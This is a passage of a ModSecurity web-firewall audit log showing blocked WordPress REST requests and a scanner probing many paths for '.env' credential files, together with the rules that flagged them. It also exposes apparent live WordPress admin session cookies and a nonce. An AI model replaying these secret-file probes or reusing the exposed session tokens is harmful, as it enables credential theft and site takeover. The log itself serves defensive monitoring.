User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
--328af321-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 8c45f685-2475-417a-9d49-c6f836597b5a
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--328af321-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293310462158 128321 (- - -)
Stopwatch2: 1789293310462158 128321; combined=4463, p1=250, p2=3797, p3=0, p4=0, p5=415, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--328af321-Z--
--bcdca00a-A--
[13/Sep/2026:12:55:13.174999 +0300] aqZzAWM7dE9KgIIOpQh2mgAAAMY 142.93.254.78 43074 127.0.0.1 7081
--bcdca00a-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 1408
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
--bcdca00a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 231297a0-a127-4a59-9fa5-9cc2d72b5349
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
--bcdca00a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293313061385 113666 (- - -)
Stopwatch2: 1789293313061385 113666; combined=4443, p1=257, p2=3898, p3=0, p4=0, p5=287, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"
--bcdca00a-Z--
--b6d02b40-A--
[13/Sep/2026:12:58:54.091562 +0300] aqZz3SsVWymXUono-eRVUAAAAAc 62.74.18.173 34044 127.0.0.1 7081
--b6d02b40-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C95e83797b6d1deec172548405d603b4dcb19284f6c7e82470afb21c7440e58cd; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 06aa26bad0
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20663&action=edit
Accept-Encoding: gzip, deflate, br
--b6d02b40-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 06aa26bad0
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--b6d02b40-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293533458392 633553 (- - -)
Stopwatch2: 1789293533458392 633553; combined=7288, p1=392, p2=6510, p3=0, p4=0, p5=223, sr=349, sw=163, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"
--b6d02b40-Z--
--f4fa8145-A--
[13/Sep/2026:12:59:07.395084 +0300] aqZz6kwu1RSkptiiNIX5aAAAAJM 62.74.18.173 43466 127.0.0.1 7081
--f4fa8145-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C95e83797b6d1deec172548405d603b4dcb19284f6c7e82470afb21c7440e58cd; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 06aa26bad0
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20663&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br
--f4fa8145-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 06aa26bad0
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--f4fa8145-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293546856712 538454 (- - -)
Stopwatch2: 1789293546856712 538454; combined=5420, p1=289, p2=4855, p3=0, p4=0, p5=162, sr=191, sw=114, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"
--f4fa8145-Z--
--a6fde72c-A--
[13/Sep/2026:12:59:29.869487 +0300] aqZ0AWM7dE9KgIIOpQh27gAAAMg 62.74.18.173 60612 127.0.0.1 7081
--a6fde72c-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C95e83797b6d1deec172548405d603b4dcb19284f6c7e82470afb21c7440e58cd; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 06aa26bad0
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20666&action=edit
Accept-Encoding: gzip, deflate, br
--a6fde72c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 06aa26bad0
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--a6fde72c-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293569300365 569295 (- - -)
Stopwatch2: 1789293569300365 569295; combined=5498, p1=348, p2=4762, p3=0, p4=0, p5=223, sr=232, sw=165, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"
--a6fde72c-Z--
--9ee2c600-A--
[13/Sep/2026:12:59:56.214987 +0300] aqZ0G2M7dE9KgIIOpQh29QAAAMQ 62.74.18.173 45070 127.0.0.1 7081
--9ee2c600-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C95e83797b6d1deec172548405d603b4dcb19284f6c7e82470afb21c7440e58cd; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 06aa26bad0
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20666&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br
--9ee2c600-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link:
; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 06aa26bad0
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8
--9ee2c600-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293595459275 755804 (- - -)
Stopwatch2: 1789293595459275 755804; combined=5472, p1=933, p2=4226, p3=0, p4=0, p5=182, sr=184, sw=131, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"
--9ee2c600-Z--
--44d11358-A--
[13/Sep/2026:13:01:40.749872 +0300] aqZ0hEwu1RSkptiiNIX5egAAAI0 45.138.12.13 58618 127.0.0.1 7081
--44d11358-B--
GET /.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--44d11358-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--44d11358-E--
--44d11358-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.env"] [unique_id "aqZ0hEwu1RSkptiiNIX5egAAAI0"]
Stopwatch: 1789293700741927 8014 (- - -)
Stopwatch2: 1789293700741927 8014; combined=6302, p1=232, p2=5957, p3=56, p4=7, p5=50, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--44d11358-Z--
--79e50e14-A--
[13/Sep/2026:13:01:41.127389 +0300] aqZ0hTTJ6xTvcJoem7f7SgAAAEo 45.138.12.13 58714 127.0.0.1 7081
--79e50e14-B--
GET /new/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--79e50e14-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--79e50e14-E--
--79e50e14-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/new/.env"] [unique_id "aqZ0hTTJ6xTvcJoem7f7SgAAAEo"]
Stopwatch: 1789293701121385 6098 (- - -)
Stopwatch2: 1789293701121385 6098; combined=4732, p1=283, p2=4348, p3=55, p4=7, p5=38, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--79e50e14-Z--
--e515260e-A--
[13/Sep/2026:13:01:41.148865 +0300] aqZ0hWM7dE9KgIIOpQh3HAAAAMQ 45.138.12.13 58664 127.0.0.1 7081
--e515260e-B--
GET /portal/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--e515260e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--e515260e-E--
--e515260e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/portal/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3HAAAAMQ"]
Stopwatch: 1789293701143804 5128 (- - -)
Stopwatch2: 1789293701143804 5128; combined=3987, p1=203, p2=3686, p3=56, p4=6, p5=35, sr=87, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--e515260e-Z--
--96a91063-A--
[13/Sep/2026:13:01:41.159761 +0300] aqZ0hWM7dE9KgIIOpQh3HgAAAMY 45.138.12.13 58672 127.0.0.1 7081
--96a91063-B--
GET /env/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--96a91063-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--96a91063-E--
--96a91063-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/env/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3HgAAAMY"]
Stopwatch: 1789293701149339 10505 (- - -)
Stopwatch2: 1789293701149339 10505; combined=9494, p1=130, p2=9226, p3=86, p4=9, p5=42, sr=56, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--96a91063-Z--
--81ff225c-A--
[13/Sep/2026:13:01:41.171877 +0300] aqZ0hWM7dE9KgIIOpQh3HQAAANU 45.138.12.13 58684 127.0.0.1 7081
--81ff225c-B--
GET /api/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--81ff225c-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--81ff225c-E--
--81ff225c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/api/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3HQAAANU"]
Stopwatch: 1789293701149010 22946 (- - -)
Stopwatch2: 1789293701149010 22946; combined=21667, p1=207, p2=21339, p3=68, p4=14, p5=38, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--81ff225c-Z--
--d5c2a917-A--
[13/Sep/2026:13:01:41.178067 +0300] aqZ0hWM7dE9KgIIOpQh3IAAAAMk 45.138.12.13 58706 127.0.0.1 7081
--d5c2a917-B--
GET /dev/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
--d5c2a917-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1
--d5c2a917-E--
--d5c2a917-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/dev/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3IAAAAMk"]
Stopwatch: 1789293701172399 5749 (- - -)
Stopwatch2: 1789293701172399 5749; combined=4521, p1=240, p2=4141, p3=96, p4=9, p5=35, sr=88, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"
--d5c2a917-Z--
--44a3c07e-A--
[13/Sep/2026:13:01:41.185131 +0300] aqZ0hWM7dE9KgIIOpQh3GwAAANc 45.138.12.13 58690 127.0.0.1 7081
--44a3c07e-B--
GET /app/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
